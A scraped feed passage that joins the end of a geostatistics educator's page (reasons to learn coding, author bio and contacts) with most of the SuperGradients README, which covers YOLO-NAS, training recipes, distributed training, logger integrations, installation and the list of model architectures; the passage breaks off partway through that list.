learn to code:</p> <ol> <li> <p><strong>Transparency</strong> – no compiler accepts hand waiving! Coding forces your logic to be uncovered for any other scientist or engineer to review.</p> </li> <li> <p><strong>Reproducibility</strong> – run it, get an answer, hand it over, run it, get the same answer. This is a main principle of the scientific method.</p> </li> <li> <p><strong>Quantification</strong> – programs need numbers. Feed the program and discover new ways to look at the world.</p> </li> <li> <p><strong>Open-source</strong> – leverage a world of brilliance. Check out packages, snippets and be amazed with what great minds have freely shared.</p> </li> <li> <p><strong>Break Down Barriers</strong> – don’t throw it over the fence. Sit at the table with the developers and share more of your subject matter expertise for a better product.</p> </li> <li> <p><strong>Deployment</strong> – share it with others and multiply the impact. Performance metrics or altruism, your good work benefits many others.</p> </li> <li> <p><strong>Efficiency</strong> – minimize the boring parts of the job. Build a suite of scripts for automation of common tasks and spend more time doing science and engineering!</p> </li> <li> <p><strong>Always Time to Do it Again!</strong> – how many times did you only do it once? It probably takes 2-4 times as long to script and automate a workflow. Usually worth it.</p> </li> <li> <p><strong>Be Like Us</strong> – it will change you. Users feel limited, programmers truly harness the power of their applications and hardware.</p> </li> </ol> <p>Alright, that is enough of my ranting. Especially, since I haven't even introduced myself yet!</p> <h4>The Author:</h4> <h3>Michael Pyrcz, Associate Professor, University of Texas at Austin</h3> <p><em>Novel Data Analytics, Geostatistics and Machine Learning Subsurface Solutions</em></p> <p>With over 17 years of experience in subsurface consulting, research and development, Michael has returned to academia driven by his passion for teaching and enthusiasm for enhancing engineers' and geoscientists' impact in subsurface resource development.</p> <p>For more about Michael check out these links:</p> <h4><a href="https://twitter.com/geostatsguy">Twitter</a> | <a href="https://github.com/GeostatsGuy">GitHub</a> | <a href="http://michaelpyrcz.com">Website</a> | <a href="https://scholar.google.com/citations?user=QVZ20eQAAAAJ&amp;hl=en&amp;oi=ao">GoogleScholar</a> | <a href="https://www.amazon.com/Geostatistical-Reservoir-Modeling-Michael-Pyrcz/dp/0199731446">Book</a> | <a href="https://www.youtube.com/channel/UCLqEr-xV-ceHdXXXrTId5ig">YouTube</a> | <a href="https://www.linkedin.com/in/michael-pyrcz-61a648a1">LinkedIn</a></h4> <h4>Want to Work Together?</h4> <p>I hope this content is helpful to those that want to learn more about subsurface modeling, data analytics and machine learning. Students and working professionals are welcome to participate.</p> <ul> <li> <p>Want to invite me to visit your company for training, mentoring, project review, workflow design and / or consulting? I'd be happy to drop by and work with you!</p> </li> <li> <p>Interested in partnering, supporting my graduate student research or my Subsurface Data Analytics and Machine Learning consortium (co-PIs including Profs. Foster, Torres-Verdin and van Oort)? My research combines data analytics, stochastic modeling and machine learning theory with practice to develop novel methods and workflows to add value. We are solving challenging subsurface problems!</p> </li> <li> <p>I can be reached at <a href="mailto:mpyrcz@austin.utexas.edu">mpyrcz@austin.utexas.edu</a>.</p> </li> </ul> <p>I'm always happy to discuss,</p> <p><em>Michael</em></p> <p>Michael Pyrcz, Ph.D., P.Eng. Associate Professor The Hildebrand Department of Petroleum and Geosystems Engineering, Bureau of Economic Geology, The Jackson School of Geosciences, The University of Texas at Austin</p> <h4>More Resources Available at: <a href="https://twitter.com/geostatsguy">Twitter</a> | <a href="https://github.com/GeostatsGuy">GitHub</a> | <a href="http://michaelpyrcz.com">Website</a> | <a href="https://scholar.google.com/citations?user=QVZ20eQAAAAJ&amp;hl=en&amp;oi=ao">GoogleScholar</a> | <a href="https://www.amazon.com/Geostatistical-Reservoir-Modeling-Michael-Pyrcz/dp/0199731446">Book</a> | <a href="https://www.youtube.com/channel/UCLqEr-xV-ceHdXXXrTId5ig">YouTube</a> | <a href="https://www.linkedin.com/in/michael-pyrcz-61a648a1">LinkedIn</a></h4> - - - Deci-AI/super-gradients - 2023-10-29T01:55:30Z - tag:github.com,2023-10-29:/Deci-AI/super-gradients - - <p>Easily train or fine-tune SOTA computer vision models with one open source training library. The home of Yolo-NAS.</p><hr><div align="center" markdown="1"> <img src="documentation/assets/SG_img/SG - Horizontal Glow 2.png" width="600"> <br> <br> <p><strong>Build, train, and fine-tune production-ready deep learning SOTA vision models</strong> <a href="https://twitter.com/intent/tweet?text=Easily%20train%20or%20fine-tune%20SOTA%20computer%20vision%20models%20from%20one%20training%20repository&amp;url=https://github.com/Deci-AI/super-gradients&amp;via=deci_ai&amp;hashtags=AI,deeplearning,computervision,training,opensource"><img src="https://img.shields.io/twitter/url/http/shields.io.svg?style=social" alt="Tweet"></a></p> <h4>Version 3 is out! Notebooks have been updated!</h4> <hr> </div> <div align="center"> <p align="center"> <a href="https://www.supergradients.com/">Website</a> • <a href="https://docs.deci.ai/super-gradients/documentation/source/welcome.html">Docs</a> • <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#getting-started">Getting Started</a> • <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#implemented-model-architectures">Pretrained Models</a> • <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#community">Community</a> • <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#license">License</a> • <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#deci-platform">Deci Platform</a> </p> <p align="center"> <a href="https://github.com/Deci-AI/super-gradients#prerequisites"><img src="https://img.shields.io/badge/python-3.7%20%7C%203.8%20%7C%203.9-blue"> </a><a href="https://github.com/Deci-AI/super-gradients#prerequisites"><img src="https://img.shields.io/badge/pytorch-1.9%20%7C%201.10-blue"> </a><a href="https://pypi.org/project/super-gradients/"><img src="https://img.shields.io/pypi/v/super-gradients"> </a><a href="https://github.com/Deci-AI/super-gradients#computer-vision-models-pretrained-checkpoints"><img src="https://img.shields.io/badge/pre--trained%20models-34-brightgreen"> </a><a href="https://github.com/Deci-AI/super-gradients/releases"><img src="https://img.shields.io/github/v/release/Deci-AI/super-gradients"> </a><a href="https://join.slack.com/t/supergradients-comm52/shared_invite/zt-10vz6o1ia-b_0W5jEPEnuHXm087K~t8Q"><img src="https://img.shields.io/badge/slack-community-blueviolet"> </a><a href="https://github.com/Deci-AI/super-gradients/raw/master/LICENSE.md"><img src="https://img.shields.io/badge/license-Apache%202.0-blue"> </a><a href="https://docs.deci.ai/super-gradients/documentation/source/welcome.html"><img src="https://img.shields.io/badge/docs-mkdocs-brightgreen"></a> </p> </div> <hr> <h2>Build with SuperGradients</h2> <hr> <h3>Support various computer vision tasks</h3> <div align="center"> <img src="https://github.com/Deci-AI/super-gradients/raw/master/documentation/assets/SG_img/Segmentation 1500x900 .png" width="250px"> <img src="https://github.com/Deci-AI/super-gradients/raw/master/documentation/assets/SG_img/Object detection 1500X900.png" width="250px"> <img src="https://github.com/Deci-AI/super-gradients/raw/master/documentation/assets/SG_img/Classification 1500x900.png" width="250px"> <img src="https://github.com/Deci-AI/super-gradients/raw/master/documentation/assets/SG_img/PoseEstimation.jpg" width="250px"> </div> <h3>Ready to deploy pre-trained SOTA models</h3> <p>YOLO-NAS architecture is out! The new YOLO-NAS delivers state-of-the-art performance with the unparalleled accuracy-speed performance, outperforming other models such as YOLOv5, YOLOv6, YOLOv7 and YOLOv8. Check it out here: <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/YOLONAS.md">YOLO-NAS</a>.</p> <div align="center"> <img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/source/images/yolo_nas_frontier.png" width="800px"> </div> <pre><code class="language-python"># Load model with pretrained weights from super_gradients.training import models from super_gradients.common.object_names import Models model = models.get(Models.YOLO_NAS_M, pretrained_weights="coco") </code></pre> <h4>All Computer Vision Models - Pretrained Checkpoints can be found in the <a href="http://bit.ly/41dkt89">Model Zoo</a></h4> <h4>Classification</h4> <div align="center"> <img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/Classification@2xDark.png" width="800px"> </div> <h4>Semantic Segmentation</h4> <div align="center"> <img src="./documentation/assets/SG_img/Semantic Segmentation@2xDark.png" width="800px"> </div> <h4>Object Detection</h4> <div align="center"> <img src="./documentation/assets/SG_img/Object Detection@2xDark.png" width="800px"> </div> <h3>Easy to train SOTA Models</h3> <p>Easily load and fine-tune production-ready, pre-trained SOTA models that incorporate best practices and validated hyper-parameters for achieving best-in-class accuracy. For more information on how to do it go to <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#getting-started">Getting Started</a></p> <h4>Plug and play recipes</h4> <pre><code class="language-bash">python -m super_gradients.train_from_recipe architecture=regnetY800 dataset_interface.data_dir=&lt;YOUR_Imagenet_LOCAL_PATH&gt; ckpt_root_dir=&lt;CHEKPOINT_DIRECTORY&gt; </code></pre> <p>More example on how and why to use recipes can be found in <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#recipes">Recipes</a></p> <h3>Production readiness</h3> <p>All SuperGradients models’ are production ready in the sense that they are compatible with deployment tools such as TensorRT (Nvidia) and OpenVINO (Intel) and can be easily taken into production. With a few lines of code you can easily integrate the models into your codebase.</p> <pre><code class="language-python"># Load model with pretrained weights from super_gradients.training import models from super_gradients.common.object_names import Models model = models.get(Models.YOLO_NAS_M, pretrained_weights="coco") # Prepare model for conversion # Input size is in format of [Batch x Channels x Width x Height] where 640 is the standard COCO dataset dimensions model.eval() model.prep_model_for_conversion(input_size=[1, 3, 640, 640]) # Create dummy_input # Convert model to onnx torch.onnx.export(model, dummy_input, "yolo_nas_m.onnx") </code></pre> <p>More information on how to take your model to production can be found in <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#getting-started">Getting Started</a> notebooks</p> <h2>Quick Installation</h2> <hr> <pre><code class="language-bash">pip install super-gradients </code></pre> <h2>What's New</h2> <hr> <p>Version 3.1.3 (July 19, 2023)</p> <ul> <li><a href="https://docs.deci.ai/super-gradients/documentation/source/PoseEstimation.html">Pose Estimation Task Support</a> - Check out fine-tuning <a href="https://colab.research.google.com/drive/1NMGzx8NdycIZqnRlZKJZrIOqyj0MFzJE#scrollTo=3UZJqTehg0On">notebook example</a></li> <li>Pre-trained modified <a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/recipes/coco2017_pose_dekr_w32_no_dc.yaml">DEKR</a> model for pose estimation (TensorRT-compatible)</li> <li>Support for Python 3.10</li> <li>Support for torch.compile</li> <li>Other bugfixes &amp; minor improvements. Check out <a href="https://github.com/Deci-AI/super-gradients/releases/tag/3.1.3">release notes</a></li> </ul> <hr> <p>30th of May</p> <ul> <li><a href="https://bit.ly/3MIKdTy">Quantization Aware Training YoloNAS on Custom Dataset</a></li> </ul> <p>Version 3.1.1 (May 3rd)</p> <ul> <li><a href="https://bit.ly/41WeNPZ">YOLO-NAS</a></li> <li>New <a href="https://bit.ly/3oZfaea">predict function</a> (predict on any image, video, url, path, stream)</li> <li><a href="https://bit.ly/40YOJ5z">RoboFlow100</a> datasets integration</li> <li>A new <a href="https://docs.deci.ai/super-gradients/documentation/source/welcome.html">Documentation Hub</a></li> <li>Integration with <a href="https://bit.ly/3ALFUkQ">DagsHub for experiment monitoring</a></li> <li>Support <a href="https://bit.ly/41VX6Qu">Darknet/Yolo format detection dataset</a> (used by Yolo v5, v6, v7, v8)</li> <li><a href="https://bit.ly/3oYu6Jp">Segformer</a> model and recipe</li> <li>Post Training Quantization and Quantization Aware Training - <a href="http://bit.ly/3KrN6an">notebooks</a></li> </ul> <p>Check out SG full <a href="https://github.com/Deci-AI/super-gradients/releases">release notes</a>.</p> <h2>Coming soon</h2> <hr> <ul> <li><input type="checkbox" disabled> Pre-trained pose estimation model</li> <li><input type="checkbox" disabled> Test Time Augmentations (TTA)</li> <li><input type="checkbox" disabled> Recipe to train DEKR model(convertable to TRT)</li> <li><input type="checkbox" disabled> Key-points Rescoring for Pose estimation</li> <li><input type="checkbox" disabled> LR finder</li> <li><input type="checkbox" disabled> Data analysis tools</li> </ul> <h2>Table of Content</h2> <hr> <!-- toc --> <ul> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#getting-started">Getting Started</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#advanced-features">Advanced Features</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#installation-methods">Installation Methods</a> <ul> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#prerequisites">Prerequisites</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#quick-installation">Quick Installation</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#implemented-model-architectures">Implemented Model Architectures</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#contributing">Contributing</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#citation">Citation</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#community">Community</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#license">License</a></li> <li><a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/#deci-platform">Deci Platform</a></li> </ul> <!-- tocstop --> <h2>Getting Started</h2> <hr> <h3>Start Training with Just 1 Command Line</h3> <p>The most simple and straightforward way to start training SOTA performance models with SuperGradients reproducible recipes. Just define your dataset path and where you want your checkpoints to be saved and you are good to go from your terminal!</p> <p>Just make sure that you <a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/Dataset_Setup_Instructions.md">setup your dataset</a> according to the data dir specified in the recipe.</p> <pre><code class="language-bash">python -m super_gradients.train_from_recipe --config-name=imagenet_regnetY architecture=regnetY800 dataset_interface.data_dir=&lt;YOUR_Imagenet_LOCAL_PATH&gt; ckpt_root_dir=&lt;CHEKPOINT_DIRECTORY&gt; </code></pre> <h3>Quickly Load Pre-Trained Weights for Your Desired Model with SOTA Performance</h3> <p>Want to try our pre-trained models on your machine? Import SuperGradients, initialize your Trainer, and load your desired architecture and pre-trained weights from our <a href="http://bit.ly/41dkt89">SOTA model zoo</a></p> <pre><code class="language-python"># The pretrained_weights argument will load a pre-trained architecture on the provided dataset import super_gradients model = models.get("model-name", pretrained_weights="pretrained-model-name") </code></pre> <h3>Classification</h3> <h4>Transfer Learning</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3xzIutb"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Classification Transfer Learning</a> </td> <td width="200"> <a target="_blank" href="https://bit.ly/3xwYEn1"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/GitHub_logo.png"> GitHub source</a> </td> </tr> </tbody> </table> <br> <br> <h3>Semantic Segmentation</h3> <h4>Quick Start</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3qKx9m8"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Segmentation Quick Start</a> </td> </tr> </tbody> </table> <br> <br> <h4>Transfer Learning</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3qKwMbe"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Segmentation Transfer Learning</a> </td> </tr> </tbody> </table> <br> <br> <h4>How to Connect Custom Dataset</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3QQBVJp"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Segmentation How to Connect Custom Dataset</a> </td> </tr> </tbody> </table> <br> <br> <h3>Pose Estimation</h3> <h4>Transfer Learning</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://colab.research.google.com/drive/1NMGzx8NdycIZqnRlZKJZrIOqyj0MFzJE#scrollTo=3UZJqTehg0On"> <img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Pose Estimation Transfer Learning </a> </td> </tr> </tbody> </table> <br> <br> <h3>Object Detection</h3> <h4>Transfer Learning</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3SkMohx"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Detection Transfer Learning</a> </td> </tr> </tbody> </table> <br> <br> <h4>How to Connect Custom Dataset</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3dqDlg3"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Detection How to Connect Custom Dataset</a> </td> </tr> </tbody> </table> <br> <br> <h3>How to Predict Using Pre-trained Model</h3> <h4>Segmentation, Detection and Classification Prediction</h4> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3f4mssd"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> How to Predict Using Pre-trained Model</a> </td> </tr> </tbody> </table> <br> <br> <h2>Advanced Features</h2> <hr> <h3>Post Training Quantization and Quantization Aware Training</h3> <p>Quantization involves representing weights and biases in lower precision, resulting in reduced memory and computational requirements, making it useful for deploying models on devices with limited resources. The process can be done during training, called Quantization aware training, or after training, called post-training quantization. A full tutorial can be found <a href="http://bit.ly/41hC8uI">here</a>.</p> <table class="“tfo-notebook-buttons”" align="“left”"> <tbody> <tr> <td width="“500”"> <a target="_blank" href="http://bit.ly/3KrN6an"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Post Training Quantization and Quantization Aware Training</a> </td> </tr> </tbody> </table> <h3>Quantization Aware Training YoloNAS on Custom Dataset</h3> <p>This tutorial provides a comprehensive guide on how to fine-tune a YoloNAS model using a custom dataset. It also demonstrates how to utilize SG's QAT (Quantization-Aware Training) support. Additionally, it offers step-by-step instructions on deploying the model and performing benchmarking.</p> <table class="“tfo-notebook-buttons”" align="“left”"> <tbody> <tr> <td width="“500”"> <a target="_blank" href="https://bit.ly/3MIKdTy"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Quantization Aware Training YoloNAS on Custom Dataset</a> </td> </tr> </tbody> </table> <h3>Knowledge Distillation Training</h3> <p>Knowledge Distillation is a training technique that uses a large model, teacher model, to improve the performance of a smaller model, the student model. Learn more about SuperGradients knowledge distillation training with our pre-trained BEiT base teacher model and Resnet18 student model on CIFAR10 example notebook on Google Colab for an easy to use tutorial using free GPU hardware</p> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3BLA5oR"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> Knowledge Distillation Training</a> </td> </tr> </tbody> </table> <br> <br> <h3>Recipes</h3> <p>To train a model, it is necessary to configure 4 main components. These components are aggregated into a single "main" recipe <code>.yaml</code> file that inherits the aforementioned dataset, architecture, raining and checkpoint params. It is also possible (and recomended for flexibility) to override default settings with custom ones. All recipes can be found <a href="http://bit.ly/3gfLw07">here</a> <br> Recipes support out of the box every model, metric or loss that is implemented in SuperGradients, but you can easily extend this to any custom object that you need by "registering it". Check out <a href="http://bit.ly/3TQ4iZB">this</a> tutorial for more information.</p> <table class="tfo-notebook-buttons" align="left"> <tbody> <tr> <td width="500"> <a target="_blank" href="https://bit.ly/3UiY5ab"><img src="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/documentation/assets/SG_img/colab_logo.png"> How to Use Recipes</a> </td> </tr> </tbody> </table> <br> <br> <br> <details markdown="1"> <summary><h3>Using Distributed Data Parallel (DDP) </h3></summary> <h4>Why use DDP ?</h4> <p>Recent Deep Learning models are growing larger and larger to an extent that training on a single GPU can take weeks. In order to train models in a timely fashion, it is necessary to train them with multiple GPUs. Using 100s GPUs can reduce training time of a model from a week to less than an hour.</p> <h4>How does it work ?</h4> <p>Each GPU has its own process, which controls a copy of the model and which loads its own mini-batch from disk and sends it to its GPU during training. After the forward pass is completed on every GPU, the gradient is reduced across all GPUs, yielding to all the GPUs having the same gradient locally. This leads to the model weights to stay synchronized across all GPUs after the backward pass.</p> <h4>How to use it ?</h4> <p>You can use SuperGradients to train your model with DDP in just a few lines.</p> <p><em>main.py</em></p> <pre><code class="language-python">from super_gradients import init_trainer, Trainer from super_gradients.common import MultiGPUMode from super_gradients.training.utils.distributed_training_utils import setup_device # Initialize the environment init_trainer() # Launch DDP on 4 GPUs' setup_device(multi_gpu=MultiGPUMode.DISTRIBUTED_DATA_PARALLEL, num_gpus=4) # Call the trainer Trainer(expriment_name=...) # Everything you do below will run on 4 gpus ... Trainer.train(...) </code></pre> <p>Finally, you can launch your distributed training with a simple python call.</p> <pre><code class="language-bash">python main.py </code></pre> <p>Please note that if you work with <code>torch&lt;1.9.0</code> (deprecated), you will have to launch your training with either <code>torch.distributed.launch</code> or <code>torchrun</code>, in which case <code>nproc_per_node</code> will overwrite the value set with <code>gpu_mode</code>:</p> <pre><code class="language-bash">python -m torch.distributed.launch --nproc_per_node=4 main.py </code></pre> <pre><code class="language-bash">torchrun --nproc_per_node=4 main.py </code></pre> <h4>Calling functions on a single node</h4> <p>It is often in DDP training that we want to execute code on the master rank (i.e rank 0). In SG, users usually execute their own code by triggering "Phase Callbacks" (see "Using phase callbacks" section below). One can make sure the desired code will only be ran on rank 0, using ddp_silent_mode or the multi_process_safe decorator. For example, consider the simple phase callback below, that uploads the first 3 images of every batch during training to the Tensorboard:</p> <pre><code class="language-python">from super_gradients.training.utils.callbacks import PhaseCallback, PhaseContext, Phase from super_gradients.common.environment.env_helpers import multi_process_safe class Upload3TrainImagesCalbback(PhaseCallback): def __init__( self, ): super().__init__(phase=Phase.TRAIN_BATCH_END) @multi_process_safe def __call__(self, context: PhaseContext): batch_imgs = context.inputs.cpu().detach().numpy() tag = "batch_" + str(context.batch_idx) + "_images" context.sg_logger.add_images(tag=tag, images=batch_imgs[: 3], global_step=context.epoch) </code></pre> <p>The @multi_process_safe decorator ensures that the callback will only be triggered by rank 0. Alternatively, this can also be done by the SG trainer boolean attribute (which the phase context has access to), ddp_silent_mode, which is set to False iff the current process rank is zero (even after the process group has been killed):</p> <pre><code class="language-python">from super_gradients.training.utils.callbacks import PhaseCallback, PhaseContext, Phase class Upload3TrainImagesCalbback(PhaseCallback): def __init__( self, ): super().__init__(phase=Phase.TRAIN_BATCH_END) def __call__(self, context: PhaseContext): if not context.ddp_silent_mode: batch_imgs = context.inputs.cpu().detach().numpy() tag = "batch_" + str(context.batch_idx) + "_images" context.sg_logger.add_images(tag=tag, images=batch_imgs[: 3], global_step=context.epoch) </code></pre> <p>Note that ddp_silent_mode can be accessed through SgTrainer.ddp_silent_mode. Hence, it can be used in scripts after calling SgTrainer.train() when some part of it should be ran on rank 0 only.</p> <h4>Good to know</h4> <p>Your total batch size will be (number of gpus x batch size), so you might want to increase your learning rate. There is no clear rule, but a rule of thumb seems to be to <a href="https://arxiv.org/pdf/1706.02677.pdf">linearly increase the learning rate with the number of gpus</a></p> </details> <details markdown="1"> <summary><h3> Easily change architectures parameters </h3></summary> <pre><code class="language-python">from super_gradients.training import models # instantiate default pretrained resnet18 default_resnet18 = models.get(model_name="resnet18", num_classes=100, pretrained_weights="imagenet") # instantiate pretrained resnet18, turning DropPath on with probability 0.5 droppath_resnet18 = models.get(model_name="resnet18", arch_params={"droppath_prob": 0.5}, num_classes=100, pretrained_weights="imagenet") # instantiate pretrained resnet18, without classifier head. Output will be from the last stage before global pooling backbone_resnet18 = models.get(model_name="resnet18", arch_params={"backbone_mode": True}, pretrained_weights="imagenet") </code></pre> </details> <details markdown="1"> <summary><h3> Using phase callbacks </h3></summary> <pre><code class="language-python">from super_gradients import Trainer from torch.optim.lr_scheduler import ReduceLROnPlateau from super_gradients.training.utils.callbacks import Phase, LRSchedulerCallback from super_gradients.training.metrics.classification_metrics import Accuracy # define PyTorch train and validation loaders and optimizer # define what to be called in the callback rop_lr_scheduler = ReduceLROnPlateau(optimizer, mode="max", patience=10, verbose=True) # define phase callbacks, they will fire as defined in Phase phase_callbacks = [LRSchedulerCallback(scheduler=rop_lr_scheduler, phase=Phase.VALIDATION_EPOCH_END, metric_name="Accuracy")] # create a trainer object, look the declaration for more parameters trainer = Trainer("experiment_name") # define phase_callbacks as part of the training parameters train_params = {"phase_callbacks": phase_callbacks} </code></pre> </details> <details markdown="1"> <summary><h3> Integration to DagsHub </h3></summary> <p><a href="https://colab.research.google.com/drive/11fW56pMpwOMHQSbQW6xxMRYvw1mEC-t-?usp=sharing"><img src="https://colab.research.google.com/assets/colab-badge.svg?sanitize=true" alt="Open In Colab"></a></p> <pre><code class="language-python">from super_gradients import Trainer trainer = Trainer("experiment_name") model = ... training_params = { ... # Your training params "sg_logger": "dagshub_sg_logger", # DagsHub Logger, see class super_gradients.common.sg_loggers.dagshub_sg_logger.DagsHubSGLogger for details "sg_logger_params": # Params that will be passes to __init__ of the logger super_gradients.common.sg_loggers.dagshub_sg_logger.DagsHubSGLogger { "dagshub_repository": "&lt;REPO_OWNER&gt;/&lt;REPO_NAME&gt;", # Optional: Your DagsHub project name, consisting of the owner name, followed by '/', and the repo name. If this is left empty, you'll be prompted in your run to fill it in manually. "log_mlflow_only": False, # Optional: Change to true to bypass logging to DVC, and log all artifacts only to MLflow "save_checkpoints_remote": True, "save_tensorboard_remote": True, "save_logs_remote": True, } } </code></pre> </details> <details> <summary><h3> Integration to Weights and Biases </h3></summary> <pre><code class="language-python">from super_gradients import Trainer # create a trainer object, look the declaration for more parameters trainer = Trainer("experiment_name") train_params = { ... # training parameters "sg_logger": "wandb_sg_logger", # Weights&amp;Biases Logger, see class WandBSGLogger for details "sg_logger_params": # paramenters that will be passes to __init__ of the logger { "project_name": "project_name", # W&amp;B project name "save_checkpoints_remote": True "save_tensorboard_remote": True "save_logs_remote": True } } </code></pre> </details> <details markdown="1"> <summary><h3> Integration to ClearML </h3></summary> <pre><code class="language-python">from super_gradients import Trainer # create a trainer object, look the declaration for more parameters trainer = Trainer("experiment_name") train_params = { ... # training parameters "sg_logger": "clearml_sg_logger", # ClearML Logger, see class ClearMLSGLogger for details "sg_logger_params": # paramenters that will be passes to __init__ of the logger { "project_name": "project_name", # ClearML project name "save_checkpoints_remote": True, "save_tensorboard_remote": True, "save_logs_remote": True, } } </code></pre> </details> <h2>Installation Methods</h2> <hr> <h3>Prerequisites</h3> <details markdown="1"> <summary>General requirements</summary> <ul> <li>Python 3.7, 3.8 or 3.9 installed.</li> <li>1.9.0 &lt;= torch &lt; 1.14 <ul> <li><a href="https://pytorch.org/get-started/locally/">https://pytorch.org/get-started/locally/</a></li> </ul> </li> <li>The python packages that are specified in requirements.txt;</li> </ul> </details> <details markdown="1"> <summary>To train on nvidia GPUs</summary> <ul> <li><a href="https://developer.nvidia.com/cuda-11.2.0-download-archive?target_os=Linux&amp;target_arch=x86_64&amp;target_distro=Ubuntu">Nvidia CUDA Toolkit &gt;= 11.2</a></li> <li>CuDNN &gt;= 8.1.x</li> <li>Nvidia Driver with CUDA &gt;= 11.2 support (≥460.x)</li> </ul> </details> <h3>Quick Installation</h3> <details markdown="1"> <summary>Install stable version using PyPi</summary> <p>See in <a href="https://pypi.org/project/super-gradients/">PyPi</a></p> <pre><code class="language-bash">pip install super-gradients </code></pre> <p>That's it !</p> </details> <details markdown="1"> <summary>Install using GitHub</summary> <pre><code class="language-bash">pip install git+https://github.com/Deci-AI/super-gradients.git@stable </code></pre> </details> <h2>Implemented Model Architectures</h2> <hr> <p>All Computer Vision Models - Pretrained Checkpoints can be found in the <a href="http://bit.ly/41dkt89">Model Zoo</a></p> <h3>Image Classification</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/densenet.py">DensNet (Densely Connected Convolutional Networks)</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/dpn.py">DPN</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/efficientnet.py">EfficientNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/lenet.py">LeNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/mobilenet.py">MobileNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/mobilenetv2.py">MobileNet v2</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/mobilenetv3.py">MobileNet v3</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/pnasnet.py">PNASNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/preact_resnet.py">Pre-activation ResNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/regnet.py">RegNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/repvgg.py">RepVGG</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/resnet.py">ResNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/resnext.py">ResNeXt</a></li> <li><a 